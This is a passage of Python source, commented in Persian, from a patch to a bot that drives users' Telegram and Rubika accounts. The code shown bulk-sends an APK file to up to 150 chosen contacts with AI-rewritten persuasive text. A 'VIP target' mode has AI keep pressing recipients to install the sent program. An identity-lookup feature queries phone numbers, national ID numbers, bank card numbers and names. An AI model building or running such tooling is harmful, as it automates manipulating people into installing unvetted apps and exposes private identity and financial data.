            _trx290_kwl_set_keywords(uid, s["account_id"], s["platform"], merged)
            _trx290_state_pop(uid)
            return await _bot().send(
                chat_id,
                f"✅ {len(merged)} کلمه ثبت شد.",
                reply_markup=_trx290_IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )

        # ── APK Send: لینک ──
        if state_name == "trx290_apksend_link":
            aid = int(s["account_id"]); platform = s["platform"]
            try:
                ok, reason, _mid, _hint = trx._trx01_validate_apk_link(platform, txt.strip())
            except Exception:
                ok, reason = False, "خطا"
            if not ok:
                return await _bot().send(chat_id, f"❌ {reason}")
            try:
                ok_save, info, row = await trx._trx660_save_apk_link(uid, aid, platform, txt.strip())
            except Exception as e:
                ok_save, info, row = False, str(e), None
            if not ok_save or not row:
                return await _bot().send(chat_id, f"❌ {str(info)[:200]}")
            apk_id = int(row.get("apk_id") or row.get("id") or 0)
            _trx290_state_set(uid, "trx290_apksend_recipients",
                               account_id=aid, platform=platform, apk_id=apk_id)
            return await _bot().send(
                chat_id,
                f"{SEP}\n🎯 **مخاطبین هدف**\n{SEP}\n\n"
                "یکی را انتخاب کن:",
                reply_markup=_trx290_IKB([
                    [("👥 همه مخاطبین", "trx290.apksend.all", "primary")],
                    [("☑️ انتخاب دستی (چک‌باکس)", "trx290.apksend.tick", "success")],
                    [("📋 آیدی‌های خطی", "trx290.apksend.manual", "primary")],
                    [("❌ لغو", "cancel", "danger")],
                ]),
            )

        # ── APK Send: manual ids ──
        if state_name == "trx290_apksend_manual_ids":
            ids = [x.strip() for x in txt.splitlines() if x.strip()]
            if len(ids) > 150:
                return await _bot().send(chat_id, f"❌ حداکثر ۱۵۰ (تو {len(ids)} دادی).")
            if not ids:
                return await _bot().send(chat_id, "❌ حداقل یک آیدی بفرست.")
            _trx290_state_set(uid, "trx290_apksend_ai_choice",
                               account_id=int(s["account_id"]),
                               platform=str(s["platform"]),
                               apk_id=int(s["apk_id"]),
                               peers=ids)
            return await _bot().send(
                chat_id,
                f"{SEP}\n🤖 **AI؟**\n{SEP}\n\n"
                f"🎯 {len(ids)} آیدی\n\n"
                "AI متن پایه را بازنویسی کند؟",
                reply_markup=_trx290_IKB([
                    [("🤖 بله", "trx290.apksend.ai.yes", "primary")],
                    [("🚫 نه", "trx290.apksend.ai.no", "success")],
                ]),
            )

        # ── APK Send: base text ──
        if state_name == "trx290_apksend_base_text":
            peers = s["peers"]
            aid = int(s["account_id"]); platform = s["platform"]; apk_id = int(s["apk_id"])
            base_text = txt.strip()[:1500]
            _trx290_state_pop(uid)
            _trx290_create_task(_trx290_apksend_worker(
                uid, aid, platform, apk_id, peers, True, base_text, chat_id,
                get_lang(uid),
            ))
            return await _bot().send(
                chat_id,
                f"⏳ ارسال APK به **{len(peers)}** مخاطب با AI شروع شد...",
                reply_markup=_trx290_IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )

    except Exception as e:
        _log_err(f"[TRX290] on_msg state handler: {_mask(str(e))}\n"
                  f"{traceback.format_exc(limit=40)}")

    # fall back
    if callable(_TRX290_ORIG_ON_MSG):
        try:
            return await _TRX290_ORIG_ON_MSG(msg)
        except Exception as e:
            _log_err(f"[TRX290] fallback on_msg: {_mask(str(e))}")
            return None
    return None


try:
    trx.on_msg = _trx290_on_msg
    _log_info("[TRX290] on_msg hooked")
except Exception as e:
    _log_warn(f"[TRX290] on_msg hook failed: {_mask(str(e))}")


# ═══════════════════════════════════════════════════════════════════
#  28) LIVE HANDLER — VIP continuation در مکالمه
# ═══════════════════════════════════════════════════════════════════

_TRX290_ORIG_EVENT_HANDLER_LIVE = getattr(trx, "_trx01_event_handler", None)


async def _trx290_event_handler_vip_continue(event, uid, aid, service):
    """
    چک می‌کند که آیا peer این event متعلق به یک VIP session است.
    اگر بله، پاسخ VIP-mode می‌دهد.
    """
    try:
        peer = trx._trx_peer_key(event, f"{service}:{aid}")
        text_value = trx._trx_extract_event_text(event) or ""
        if not text_value or not peer:
            return False

        # جستجو در دیتابیس
        row = _db().fetchone(
            "SELECT * FROM trx290_vip_sessions "
            "WHERE user_id=? AND account_id=? AND platform=? "
            "AND (target_peer=? OR target_handle=?) "
            "AND stage IN ('sent','active','continued') "
            "ORDER BY id DESC LIMIT 1",
            (int(uid), int(aid), str(service), str(peer), str(peer)),
        )
        if not row:
            return False

        session = dict(row)
        session_id = int(session["id"])
        template_key = str(session.get("template_key") or "abl")

        # پاسخ VIP با AI
        reply = await _trx290_vip_generate_text(
            uid, aid, session, template_key, user_reply=text_value,
        )
        if not reply:
            reply = "لطفاً هرچه سریع‌تر برنامه ارسال‌شده را نصب و پیگیری کنید."

        # ارسال
        client = trx.ai_live_clients.get((int(uid), int(aid)))
        sent = False
        for m in ("reply", "respond"):
            fn = getattr(event, m, None)
            if not callable(fn):
                continue
            try:
                r = fn(reply)
                if asyncio.iscoroutine(r):
                    await r
                sent = True
                break
            except Exception:
                continue
        if not sent and client is not None:
            try:
                send = getattr(client, "send_message", None)
                if callable(send):
                    r = send(peer, reply)
                    if asyncio.iscoroutine(r):
                        await r
                    sent = True
            except Exception:
                pass

        if sent:
            _trx290_vip_log_message(session_id, uid, aid, service, peer, "user", text_value)
            _trx290_vip_log_message(session_id, uid, aid, service, peer, "assistant", reply)
            try:
                _db().execute(
                    "UPDATE trx290_vip_sessions SET stage='continued',updated_at=? WHERE id=?",
                    (_now(), int(session_id)),
                )
            except Exception:
                pass
        return True
    except Exception as e:
        _log_warn(f"[TRX290] vip continue: {_mask(str(e))}")
        return False


async def _trx290_event_handler_live(event, uid, service, aid):
    # 1) VIP continuation؟
    try:
        if await _trx290_event_handler_vip_continue(event, int(uid), int(aid), str(service)):
            return
    except Exception as e:
        _log_warn(f"[TRX290] vip continue check: {_mask(str(e))}")

    # 2) KWL؟
    try:
        should_kwl = await _trx290_kwl_should_handle(event, int(uid), int(aid), str(service))
        if should_kwl:
            ok = await _trx290_kwl_do_reply(event, int(uid), int(aid), str(service))
            if ok:
                return
    except Exception as e:
        _log_warn(f"[TRX290] kwl handle: {_mask(str(e))}")

    # 3) fall back به handler قبلی (که group guard را دارد)
    if callable(_TRX290_ORIG_EVENT_HANDLER_LIVE):
        try:
            return await _TRX290_ORIG_EVENT_HANDLER_LIVE(event, uid, service, aid)
        except Exception as e:
            _log_err(f"[TRX290] live fallback: {_mask(str(e))}")
            return None
    return None


for _alias in ("_trx01_event_handler", "_trx_event_handler",
               "_trx_event_handler_v9", "_trx_event_handler_v10",
               "_trx_event_handler_v11", "_trx115_event_handler_v14",
               "_trx77_event_handler"):
    try:
        setattr(trx, _alias, _trx290_event_handler_live)
    except Exception:
        pass

_log_info("[TRX290] live handler with VIP continuation installed")


# ═══════════════════════════════════════════════════════════════════
#  29) AI MENU AUGMENT — افزودن دکمه‌های جدید
# ═══════════════════════════════════════════════════════════════════

_TRX290_ORIG_AI_MENU = getattr(trx, "ai_advanced_menu", None)


def _trx290_ai_menu_augmented(lang: str, uid: int):
    base = None
    try:
        if callable(_TRX290_ORIG_AI_MENU):
            base = _TRX290_ORIG_AI_MENU(lang, uid)
    except Exception:
        base = None
    try:
        if base and isinstance(base, dict) and "inline_keyboard" in base:
            rows = [list(r) for r in base["inline_keyboard"]]
            existing = set()
            for row in rows:
                for b in row:
                    if isinstance(b, dict):
                        existing.add(b.get("callback_data"))
            # دکمه‌های جدید
            new_rows = []
            if "trx290.vip.start" not in existing:
                new_rows.append([{"text": "🎯 تارگت VIP",
                                   "callback_data": "trx290.vip.start",
                                   "style": "primary"}])
            if "trx290.kwl.start" not in existing:
                new_rows.append([{"text": "👁 رصد کلمات کلیدی",
                                   "callback_data": "trx290.kwl.start",
                                   "style": "primary"}])
            if "trx290.funnel.menu" not in existing:
                new_rows.append([{"text": "📊 قیف فروش",
                                   "callback_data": "trx290.funnel.menu",
                                   "style": "success"}])
            if "trx290.identity.start" not in existing:
                new_rows.append([{"text": "🔍 استعلام هویتی",
                                   "callback_data": "trx290.identity.start",
                                   "style": "danger"}])
            # درج قبل از دکمه خانه
            home_idx = len(rows)
            for i, row in enumerate(rows):
                if any(isinstance(b, dict) and b.get("callback_data") == "menu"
                        for b in row):
                    home_idx = i
                    break
            rows[home_idx:home_idx] = new_rows
            return {"inline_keyboard": rows}
    except Exception as e:
        _log_warn(f"[TRX290] ai menu augment: {_mask(str(e))}")
    return base or _trx290_IKB([
        [("🎯 تارگت VIP", "trx290.vip.start", "primary")],
        [("👁 رصد کلمات", "trx290.kwl.start", "primary")],
        [("📊 قیف فروش", "trx290.funnel.menu", "success")],
        [("🔍 استعلام هویتی", "trx290.identity.start", "danger")],
        [("↩️ بازگشت", "menu", "primary")],
    ])


try:
    trx.ai_advanced_menu = _trx290_ai_menu_augmented
    _log_info("[TRX290] AI menu augmented with 4 new buttons")
except Exception as e:
    _log_warn(f"[TRX290] ai menu install: {_mask(str(e))}")


# ═══════════════════════════════════════════════════════════════════
#  30) RUNNER — اجرای همه overlay ها به ترتیب + اجرای main اصلی
# ═══════════════════════════════════════════════════════════════════

async def _trx290_bootstrap_schema():
    """راه‌اندازی اولیه schema."""
    _trx290_ensure_schema()
    _trx290_seed_atria()


async def _trx290_boot_hook():
    """بعد از روشن شدن bot: بنر ری‌استارت + راه‌اندازی schema."""
    for _ in range(60):
        try:
            if getattr(trx.bot, "running", False) and getattr(trx.bot, "me", None):
                break
        except Exception:
            pass
        await asyncio.sleep(0.5)

    # schema
    try:
        await _trx290_bootstrap_schema()
    except Exception as e:
        _log_warn(f"[TRX290] boot schema: {_mask(str(e))}")

    # پیام ری‌استارت
    try:
        await _trx290_check_pending_restart()
    except Exception as e:
        _log_warn(f"[TRX290] pending restart: {_mask(str(e))}")


_TRX290_ORIG_MAIN = getattr(trx, "main", None)


async def _trx290_main_wrapper():
    _log_info(f"[TRX290] ===== Starting chain main (build={TRX_290_BUILD}) =====")
    # seed providers + schema در همین لحظه
    try:
        await _trx290_bootstrap_schema()
    except Exception:
        pass
    # boot hook در بک‌گراند
    _trx290_create_task(_trx290_boot_hook())

    # اجرای main اصلی
    if callable(_TRX290_ORIG_MAIN):
        return await _TRX290_ORIG_MAIN()
    return None


def _trx290_run():
    if len(sys.argv) > 1:
        if sys.argv[1] == "--stop":
            try:
                trx._cli_stop()
            except Exception:
                pass
            sys.exit(0)
        if sys.argv[1] == "--status":
            try:
                trx._cli_status()
            except Exception:
                pass
            sys.exit(0)

    print("═" * 70)
    print("  🦖 TRX_290 — CHAIN RUNNER + FINAL MASTER PATCH")
    print(f"  Main file:   {getattr(_patch1, '_MAIN_PATH', None) or os.path.join(_HERE, 'TRXF2.py')}")
    print(f"  Patch 1:     {_PATCH1_PATH}")
    print(f"  Patch 2:     {os.path.abspath(__file__)}")
    print(f"  Build:       {TRX_290_BUILD}")
    print("  ─────────────────────────────────────────────────────────")
    print("  ✅ Chain: TRXF2.py → TRX_888.py → TRX_290.py")
    print("  ✅ Added: Rubika login fix • Identity lookup system")
    print("  ✅ Added: Group reply guard • Restart fix • KWL fix")
    print("  ✅ Added: Funnel • VIP Target (11 templates) • APK/Bulk fix")
    print("  ✅ Added: Pexels image fix • AI persuasion mode")
    print("  ✅ Added: Atria AI (Atria-Dawn-Preview)")
    print("═" * 70)

    try:
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        loop.run_until_complete(_trx290_main_wrapper())
    except KeyboardInterrupt:
        print("\n[TRX290] Interrupted by user.")
    except SystemExit:
        raise
    except Exception as e:
        print(f"\n[TRX290][FATAL] {type(e).__name__}: {e}")
        traceback.print_exc(limit=40)


# ═══════════════════════════════════════════════════════════════════
# TRX290 FINAL RUNTIME REPAIR — single-core chain + nonblocking Rubika OTP
# + bounded APK source reads + deterministic AI binding callbacks.
# ═══════════════════════════════════════════════════════════════════
TRX290_REPAIR_BUILD = "2026-09-28-runtime-repair-single-core-v2"

# --- Rubika: never allow a blocking rulog call or pip install to freeze the bot ---
async def _trx290_rulog_send_threaded(phone: str, platform: str, timeout: float = 4.0):
    try:
        import rulog
    except Exception as exc:
        return False, f"rulog import: {_mask(str(exc))}"

    def _call():
        rc = rulog.Client()
        fn = getattr(rc, "sendCode", None) or getattr(rc, "send_code", None)
        if not callable(fn):
            raise RuntimeError("rulog Client.sendCode/send_code not available")
        kwargs = {"send_type": True} if platform == "android" else {}
        return fn(platform, phone, **kwargs)

    try:
        resp = await asyncio.wait_for(asyncio.to_thread(_call), timeout=float(timeout))
        return True, resp
    except asyncio.TimeoutError:
        return False, f"{platform}: timeout"
    except OSError as exc:
        return False, f"{platform}: OSError({getattr(exc, 'errno', '?')}): {exc}"
    except Exception as exc:
        return False, f"{platform}: {type(exc).__name__}: {_mask(str(exc))[:180]}"


async def _trx290_rubika_send_code_final(uid: int, phone: str):
    started = time.monotonic()
    number = _trx290_rubika_normalize_phone(phone)
    errors = []

    # 1) isolated subprocess — safe against stdin/input/OSError 5 in rulog
    for plat in ("android", "web"):
        remaining = max(0.5, 12.0 - (time.monotonic() - started))
        if remaining <= 0.5:
            break
        try:
            ok, resp = await asyncio.wait_for(
                _trx290_rubika_subprocess_send(number, plat),
                timeout=min(4.5, remaining),
            )
        except asyncio.TimeoutError:
            ok, resp = False, f"{plat}: timeout"
        except Exception as exc:
            ok, resp = False, f"{plat}: {type(exc).__name__}: {_mask(str(exc))[:160]}"
        if ok:
            ph = _trx290_extract_phone_hash(resp)
            if ph:
                trx.active_clients[int(uid)] = {
                    "client": None, "rulog": None, "service": "rubika",
                    "phone": number, "phone_input": str(phone).strip(),
                    "hash": str(ph), "otp_platform": plat,
                    "backend": "rulog_subprocess_safe", "created_at": time.time(),
                    "connected": False,
                }
                return True, {"phone_code_hash": str(ph)}
        errors.append(str(resp)[:220])

    # 2) legacy HTTPS, but bounded by one shared deadline
    remaining = 12.0 - (time.monotonic() - started)
    if remaining > 0.5:
        try:
            ok, resp, backend = await asyncio.wait_for(
                _trx290_rubika_https_send(number), timeout=min(5.0, remaining)
            )
            if ok:
                ph = _trx290_extract_phone_hash(resp)
                if ph:
                    trx.active_clients[int(uid)] = {
                        "client": None, "rulog": None, "service": "rubika",
                        "phone": number, "phone_input": str(phone).strip(),
                        "hash": str(ph), "otp_platform": backend or "legacy",
                        "backend": "https_direct_safe", "created_at": time.time(),
                        "connected": False,
                    }
                    return True, {"phone_code_hash": str(ph)}
            errors.append(f"https: {str(resp)[:220]}")
        except asyncio.TimeoutError:
            errors.append("https: timeout")
        except Exception as exc:
            errors.append(f"https: {type(exc).__name__}: {_mask(str(exc))[:160]}")

    # 3) final threaded in-process attempt — cannot freeze event loop
    remaining = 12.0 - (time.monotonic() - started)
    if remaining > 0.5:
        for plat in ("android", "web"):
            ok, resp = await _trx290_rulog_send_threaded(number, plat, timeout=min(2.5, remaining))
            if ok:
                ph = _trx290_extract_phone_hash(resp)
                if ph:
                    trx.active_clients[int(uid)] = {
                        "client": None, "rulog": None, "service": "rubika",
                        "phone": number, "phone_input": str(phone).strip(),
                        "hash": str(ph), "otp_platform": plat,
                        "backend": "rulog_threaded_safe", "created_at": time.time(),
                        "connected": False,
                    }
                    return True, {"phone_code_hash": str(ph)}
            errors.append(str(resp)[:220])
            if 12.0 - (time.monotonic() - started) <= 0.5:
                break

    try:
        info = trx.active_clients.get(int(uid))
        if info and info.get("service") == "rubika" and not info.get("connected"):
            trx.active_clients.pop(int(uid), None)
    except Exception:
        pass
    full = " | ".join(errors)[:1200] or "no backend response"
    _log_err(f"[TRX290][RubikaOTP][repair] failed safely: {full}")
    return False, "ارسال کد روبیکا ناموفق بود؛ ربات گیر نکرد.\n" + full


# Install the final bounded Rubika sender through the existing state wrapper.
try:
    _trx290_final_rubika_verify = trx.SERVICE_HANDLERS.get("rubika", {}).get("verify")
    if callable(_trx290_final_rubika_verify):
        trx.SERVICE_HANDLERS["rubika"] = {
            "send": _trx290_wrap("rubika", _trx290_rubika_send_code_final)
                      if callable(getattr(trx, "_wrap_otp_handler", None)) else _trx290_rubika_send_code_final,
            "verify": _trx290_final_rubika_verify,
        }
    else:
        _log_warn("[TRX290][repair] Rubika verifier unavailable; sender left guarded.")
except Exception as exc:
    _log_warn(f"[TRX290][repair] Rubika final install: {_mask(str(exc))}")


# --- Bounded APK source save helper ---
_TRX290_ORIG_SAVE_APK_LINK = getattr(trx, "_trx660_save_apk_link", None)

async def _trx290_save_apk_link_bounded(uid, aid, platform, raw_link, timeout=35.0):
    if not callable(_TRX290_ORIG_SAVE_APK_LINK):
        return False, "تابع ذخیره APK در هسته در دسترس نیست.", None
    try:
        return await asyncio.wait_for(
            _TRX290_ORIG_SAVE_APK_LINK(uid, aid, platform, raw_link),
            timeout=float(timeout),
        )
    except asyncio.TimeoutError:
        return False, "بررسی پیام APK بیش از مهلت مجاز طول کشید.", None
    except Exception as exc:
        return False, f"خطا در ذخیره APK: {type(exc).__name__}: {_mask(str(exc))[:220]}", None

trx._trx290_save_apk_link_bounded = _trx290_save_apk_link_bounded


# --- Deterministic AI-account binding callback safety layer ---
_TRX290_BINDING_DISPATCH_BASE = getattr(trx, "dispatch_cb", None)

async def _trx290_dispatch_ai_binding_safe(cb_id, uid, lang, u, chat_id, msg_id, data):
    ds = str(data or "")
    if not (ds == "ai.bindings" or ds.startswith((
        "ai.bind.plat:", "ai.bind.account:", "ai.bind.test:",
        "ai.bind.toggle:", "ai.bind.pv:", "ai.bind.group:", "ai.bind.del:",
    ))):
        return None
    try:
        # Account binding must be against the one shared TRXF2 module.
        if ds.startswith("ai.bind.account:"):
            aid = int(ds.split(":", 1)[1])
            row = _db().fetchone(
                "SELECT id,service,enabled FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, int(uid)),
            )
            if not row:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ اکانت فعال پیدا نشد.", trx.ai_advanced_menu(lang, uid))
            _db().execute(
                "INSERT OR IGNORE INTO ai_bindings(user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at) VALUES(?,?,?,?,?,?,?)",
                (int(uid), aid, 1, 1, 0, _now(), _now()),
            )
            _db().execute(
                "UPDATE ai_bindings SET enabled=1,updated_at=? WHERE user_id=? AND account_id=?",
                (_now(), int(uid), aid),
            )
            client = None
            try:
                client = trx.ai_live_clients.get((int(uid), aid)) or await asyncio.wait_for(
                    trx._ensure_ai_client(int(uid), aid), timeout=20.0
                )
            except asyncio.TimeoutError:
                client = None
            except Exception as exc:
                _log_warn(f"[TRX290][AI-bind] ensure client: {_mask(str(exc))}")
            reg = False
            if client is not None:
                try:
                    reg = bool(trx._register_ai_handler(client, int(uid), str(row["service"]), aid))
                except Exception as exc:
                    _log_warn(f"[TRX290][AI-bind] register: {_mask(str(exc))}")
            if reg:
                text = "✅ AI روی این اکانت فعال شد و handler زنده ثبت شد."
            elif client is None:
                text = "⚠️ اتصال AI ثبت شد، ولی نشست زنده اکانت در دسترس نیست؛ اکانت را دوباره متصل کن."
            else:
                text = "⚠️ نشست اکانت وصل است ولی handler زنده ثبت نشد. دوباره تست کن."
            try:
                kb = trx.ai_manage_kb(aid, lang)
            except Exception:
                kb = trx.ai_advanced_menu(lang, uid)
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)
        return None
    except Exception as exc:
        _log_err(f"[TRX290][AI-bind] {_mask(str(exc))}")
        return await _trx290_safe_edit(chat_id, msg_id, "⚠️ خطا در اتصال AI؛ دوباره امتحان کن.", trx.ai_advanced_menu(lang, uid))


async def _trx290_dispatch_cb_repaired(cb_id, uid, lang, u, chat_id, msg_id, data):
    r = await _trx290_dispatch_ai_binding_safe(cb_id, uid, lang, u, chat_id, msg_id, data)
    if r is not None:
        return r
    if callable(_TRX290_BINDING_DISPATCH_BASE):
        try:
            return await _TRX290_BINDING_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, data)
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            _log_err(f"[TRX290][dispatch-final] {_mask(str(exc))}")
            try:
                return await _bot().send(chat_id, "⚠️ خطا در اجرای دکمه؛ دوباره از منوی AI وارد شو.", reply_markup=trx.ai_advanced_menu(lang, uid))
            except Exception:
                return None
    return None

try:
    trx.dispatch_cb = _trx290_dispatch_cb_repaired
except Exception as exc:
    _log_warn(f"[TRX290][repair] dispatch install: {_mask(str(exc))}")


# --- Use bounded saver for both final APK entry paths ---
try:
    _TRX290_ORIG_HANDLER_SAVE = _TRX290_ORIG_SAVE_APK_LINK
except Exception:
    _TRX290_ORIG_HANDLER_SAVE = None

_log_info(f"[TRX290] ===== FINAL RUNTIME REPAIR INSTALLED ({TRX290_REPAIR_BUILD}) =====")


# ═══════════════════════════════════════════════════════════════════
# TRX290 APK FINAL REPAIR — deterministic source read + DB save
# ═══════════════════════════════════════════════════════════════════
TRX290_APK_REPAIR_TIMEOUT = 32.0

async def _trx290_read_apk_source_safe(uid, aid, platform, raw_link):
    try:
        ok, reason, message_id, source_hint = trx._trx01_validate_apk_link(
            platform, raw_link
        )
    except Exception as exc:
        return False, f"خطا در اعتبارسنجی لینک: {type(exc).__name__}: {_mask(str(exc))[:180]}", None
    if not ok:
        return False, str(reason), None

    client = None
    try:
        client = trx.ai_live_clients.get((int(uid), int(aid)))
    except Exception:
        client = None
    if client is None:
        try:
            client = await asyncio.wait_for(
                trx._ensure_ai_client(int(uid), int(aid)), timeout=10.0
            )
        except asyncio.TimeoutError:
            return False, "اتصال اکانت برای خواندن پیام APK بیشتر از ۱۰ ثانیه طول کشید.", None
        except Exception as exc:
            return False, f"اتصال اکانت برای خواندن APK ناموفق بود: {type(exc).__name__}", None
    if client is None:
        return False, "اکانت انتخاب‌شده برای خواندن پیام APK در دسترس نیست.", None

    try:
        msg_obj, peer = await asyncio.wait_for(
            trx._trx115_get_message_final(client, source_hint, int(message_id)),
            timeout=20.0,
        )
    except asyncio.TimeoutError:
        return False, "خواندن پیام APK بیش از ۲۰ ثانیه طول کشید؛ سرویس یا دسترسی اکانت پاسخ نداده است.", None
    except Exception as exc:
        return False, f"خواندن پیام APK ناموفق بود: {type(exc).__name__}: {_mask(str(exc))[:200]}", None

    if msg_obj is None:
        return False, (
            "پیام APK پیدا نشد. لینک باید مستقیم به همان پست فایل APK باشد "
            "و اکانت انتخاب‌شده باید به پست دسترسی داشته باشد."
        ), None

    try:
        meta = trx._trx110_apk_meta(msg_obj)
    except Exception:
        meta = None
    filename = str((meta or {}).get("filename") or "").strip()
    if not meta or not filename.lower().endswith(".apk"):
        return False, "پیام لینک‌شده فایل APK ندارد؛ لینک خود پیام فایل APK را بفرست.", None

    return True, "", {
        "message_id": str(message_id),
        "source_peer": str(peer or source_hint or ""),
        "filename": filename[:255],
        "size": int((meta or {}).get("size") or 0),
        "link": str(raw_link).strip(),
        "client": client,
    }


async def _trx290_save_apk_link_safe(uid, aid, platform, raw_link):
    started = time.monotonic()
    try:
        ok, info, meta = await asyncio.wait_for(
            _trx290_read_apk_source_safe(uid, aid, platform, raw_link),
            timeout=TRX290_APK_REPAIR_TIMEOUT,
        )
    except asyncio.TimeoutError:
        return False, "بررسی پیام APK از مهلت ۳۲ ثانیه عبور کرد.", None
    except Exception as exc:
        return False, f"خطای خواندن APK: {type(exc).__name__}: {_mask(str(exc))[:220]}", None
    if not ok or not meta:
        return False, info, None

    try:
        old = _db().fetchone(
            "SELECT * FROM trx01_apk_links WHERE platform=? AND target_account=?",
            (str(platform), str(int(aid))),
        )
        old_apk_id = int(old["apk_id"] or 0) if old else 0
        if old_apk_id:
            try:
                _db().execute(
                    "UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?",
                    (old_apk_id, int(uid)),
                )
            except Exception:
                pass

        cur = _db().execute(
            "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) "
            "VALUES(?,?,?,?,?,1,?)",
            (int(uid), "", int(meta["message_id"]), meta["filename"],
             int(meta["size"]), _now()),
        )
        apk_id = int(cur.lastrowid)

        _db().execute(
            "INSERT OR REPLACE INTO apk_sources("
            "apk_id,account_id,platform,source_peer,source_message_id,created_at) "
            "VALUES(?,?,?,?,?,?)",
            (apk_id, int(aid), str(platform), str(meta["source_peer"]),
             str(meta["message_id"]), _now()),
        )

        cur2 = _db().execute(
            "INSERT OR REPLACE INTO trx01_apk_links("
            "platform,target_account,apk_link,source_peer,source_message_id,file_name,file_size,set_at,apk_id) "
            "VALUES(?,?,?,?,?,?,?,?,?)",
            (str(platform), str(int(aid)), str(meta["link"]),
             str(meta["source_peer"]), str(meta["message_id"]),
             str(meta["filename"]), int(meta["size"]), _now(), apk_id),
        )
        link_id = int(cur2.lastrowid or 0)

        _db().execute(
            "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
            (f"default_apk:{int(uid)}", apk_id),
        )

        try:
            cfg = getattr(trx, "_trx660_apk_config_upsert", None)
            if callable(cfg):
                cfg(
                    int(uid), str(platform), aid=int(aid), apk_id=apk_id,
                    source_peer=str(meta["source_peer"]),
                    source_message_id=str(meta["message_id"]),
                    file_name=str(meta["filename"]),
                    file_size=int(meta["size"]),
                    download_link=str(meta["link"]),
                )
        except Exception as exc:
            _log_warn(f"[TRX290][APK] config sync: {_mask(str(exc))}")

        try:
            trx.log_event(int(uid), "TRX290_VIP_APK_SAVED", f"{platform}:{aid}:{meta['message_id']}")
            trx.log_account_activity(int(aid), int(uid), "vip_apk_saved", str(meta["message_id"]), 1)
        except Exception:
            pass

        _log_info(
            f"[TRX290][APK] saved uid={uid} aid={aid} platform={platform} "
            f"apk_id={apk_id} elapsed={time.monotonic()-started:.2f}s"
        )
        return True, str(meta["filename"]), {
            "id": link_id,
            "message_id": str(meta["message_id"]),
            "source_peer": str(meta["source_peer"]),
            "filename": str(meta["filename"]),
            "size": int(meta["size"]),
            "link": str(meta["link"]),
            "apk_id": apk_id,
        }
    except Exception as exc:
        _log_err(f"[TRX290][APK] DB save failed: {_mask(str(exc))}")
        return False, f"خطا در ذخیره APK: {type(exc).__name__}: {_mask(str(exc))[:220]}", None


try:
    trx._trx660_save_apk_link = _trx290_save_apk_link_safe
    trx._trx01_save_apk_link = _trx290_save_apk_link_safe
    _log_info("[TRX290][APK] deterministic saver installed")
except Exception as exc:
    _log_warn(f"[TRX290][APK] saver install failed: {_mask(str(exc))}")


# اجرای ربات فقط پس از نصب تمام overlayها و repairهای بالا.


# ═══════════════════════════════════════════════════════════════════
# TRX290 IDENTITY FINAL ROUTING REPAIR
# - Dedicated fallback state for identity wizard
# - Validate input before consuming state
# - Deterministic callback -> state mapping
# - Bounded lookup calls so one external service cannot stall the bot
# - Reinstall the final on_msg/dispatch hooks before startup
# ═══════════════════════════════════════════════════════════════════
TRX290_IDENTITY_REPAIR_BUILD = "2026-09-28-identity-router-v1"
TRX290_IDENTITY_TIMEOUT = 45.0
TRX290_IDENTITY_AI_TIMEOUT = 35.0
TRX290_IDENTITY_AI_MAX_TOKENS = 700

_TRX290_IDENTITY_STAGE_MAP = {
    "trx290.identity.phone": "trx290_id_lookup_phone",
    "trx290.identity.nid": "trx290_id_lookup_nid",
    "trx290.identity.card": "trx290_id_lookup_card",
    "trx290.identity.name": "trx290_id_lookup_name",
    "trx290.identity.c2s": "trx290_id_lookup_c2s",
}

# Keep a second in-memory state specifically for the identity wizard.
# It is keyed by user + chat so another wizard cannot accidentally consume it.
_TRX290_IDENTITY_ROUTER_CTX = {}


def _trx290_identity_ctx_set(uid, chat_id, state_name):
    try:
        _TRX290_IDENTITY_ROUTER_CTX[(int(uid), int(chat_id))] = {
            "state": str(state_name),
            "at": time.time(),
        }
    except Exception:
        pass


def _trx290_identity_ctx_get(uid, chat_id):
    try:
        key = (int(uid), int(chat_id))
        ctx = _TRX290_IDENTITY_ROUTER_CTX.get(key)
        if not ctx:
            return None
        if time.time() - float(ctx.get("at", 0)) > 900:
            _TRX290_IDENTITY_ROUTER_CTX.pop(key, None)
            return None
        return dict(ctx)
    except Exception:
        return None


def _trx290_identity_ctx_pop(uid, chat_id):
    try:
        return _TRX290_IDENTITY_ROUTER_CTX.pop((int(uid), int(chat_id)), None)
    except Exception:
        return None


# Wrap the currently installed callback dispatcher only once at the final layer.
_TRX290_IDENTITY_DISPATCH_BASE = getattr(trx, "dispatch_cb", None)


async def _trx290_identity_dispatch_final(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if data_s == "trx290.identity.start":
        _trx290_identity_ctx_pop(uid, chat_id)
    elif data_s in _TRX290_IDENTITY_STAGE_MAP:
        state_name = _TRX290_IDENTITY_STAGE_MAP[data_s]
        # Write both stores. The legacy state keeps the existing logic intact;
        # the dedicated context guarantees routing if another wrapper touches it.
        _trx290_identity_ctx_set(uid, chat_id, state_name)
        try:
            _trx290_state_set(uid, state_name)
        except Exception:
            pass

    if callable(_TRX290_IDENTITY_DISPATCH_BASE):
        return await _TRX290_IDENTITY_DISPATCH_BASE(
            cb_id, uid, lang, u, chat_id, msg_id, data_s
        )
    return None


# Final deterministic identity input handler. It runs before the generic
# on_msg chain so these five states cannot be swallowed by a later wrapper.
_TRX290_IDENTITY_ON_MSG_BASE = getattr(trx, "on_msg", None)


async def _trx290_identity_ai_analyze(uid: int, aid: int, query_type: str,
                                       query_value: str, raw_result: str) -> str:
    """
    مرحله‌ی مستقل تحلیل نتیجه استعلام با همان AI اصلی پروژه.
    ورودی AI فقط نتیجه‌ی برگشتی سرویس استعلام و نوع درخواست است؛
    در صورت در دسترس نبودن AI، همان نتیجه‌ی خام برگردانده می‌شود.
    """
    raw = str(raw_result or "").strip()
    if not raw:
        return "❌ پاسخی از ربات استعلام دریافت نشد."

    ai_obj = _ai()
    if ai_obj is None or not callable(getattr(ai_obj, "chat", None)):
        _log_warn("[TRX290][identity-ai] AI object/chat is unavailable; returning raw result")
        return raw

    query_labels = {
